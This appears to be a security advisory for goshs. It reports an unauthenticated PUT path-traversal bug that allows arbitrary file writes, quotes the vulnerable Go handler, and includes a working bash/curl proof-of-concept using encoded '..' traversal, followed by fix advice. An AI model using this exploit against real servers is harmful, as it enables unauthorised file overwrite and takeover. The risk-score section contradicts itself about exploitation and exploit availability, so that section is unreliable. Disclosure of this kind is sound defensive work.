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GHSA-g8mv-vp7j-qp64

CriticalCVSS 9.8 / 10
Published Apr 3, 2026·Last modified Apr 7, 2026
Affected Components(0)

No affected components available

Description

Summary

  • PUT upload has no path sanitization | httpserver/updown.go:20-69

This finding affects the default configuration, no flags or authentication required.

Details

File: httpserver/updown.go:20-69 Trigger: PUT /<path> (server.go:57-59 routes directly to put())

The handler uses req.URL.Path raw to build the save path. No filepath.Clean, no .. check, no webroot containment.

func (fs *FileServer) put(w http.ResponseWriter, req *http.Request) {
    upath := req.URL.Path                              // unsanitized

    filename := strings.Split(upath, "/")
    outName := filename[len(filename)-1]

    targetpath := strings.Split(upath, "/")
    targetpath = targetpath[:len(targetpath)-1]
    target := strings.Join(targetpath, "/")

    savepath := fmt.Sprintf("%s%s/%s", fs.UploadFolder, target, outName)
    // ...
    os.Create(savepath)                                // arbitrary path write

UploadFolder defaults to Webroot (main.go:386-388). The path is pure string concatenation with no validation.

Impact: Unauthenticated arbitrary file write anywhere on the filesystem.

PoCs:

#!/usr/bin/env bash
# Write an arbitrary file on a running goshs instance via PUT.
#
# Usage: ./arbitrary_overwrite1.sh <host> <port> <local-file> <absolute-target-path>

set -euo pipefail

HOST="${1:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
PORT="${2:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
LOCAL_FILE="${3:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"
TARGET="${4:?Usage: $0 <host> <port> <local-file> <absolute-target-path>}"

if [ ! -f "$LOCAL_FILE" ]; then
    echo "[-] Local file not found: $LOCAL_FILE"
    exit 1
fi

# 16 levels of %2e%2e/ (URL-encoded "..") to reach filesystem root.
# Encoding is required so curl does not resolve the traversal client-side.
TRAVERSAL=""
for _ in $(seq 1 16); do
    TRAVERSAL="${TRAVERSAL}%2e%2e/"
done

# Strip leading / from target
TARGET_REL="${TARGET#/}"

PUT_PATH="/${TRAVERSAL}${TARGET_REL}"

echo "[*] Source:  ${LOCAL_FILE}"
echo "[*] Target:  ${TARGET}"
echo "[*] PUT:     ${PUT_PATH}"
echo ""

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    --path-as-is \
    -X PUT --data-binary "@${LOCAL_FILE}" \
    "http://${HOST}:${PORT}${PUT_PATH}")

echo "[*] HTTP ${HTTP_CODE}"
echo "[*] File should now exist at ${TARGET} on the target."

To execute it: ./arbitrary_overwrite2.sh 10.1.2.2 8000 ./canary /tmp/can

Recommendations

Checking that the targeted file is part of the webroot could prevent these attacks. Also, ensure that the method return is called after every error response.

Risk Scores
Base Score
9.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
9.0

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS
0.68%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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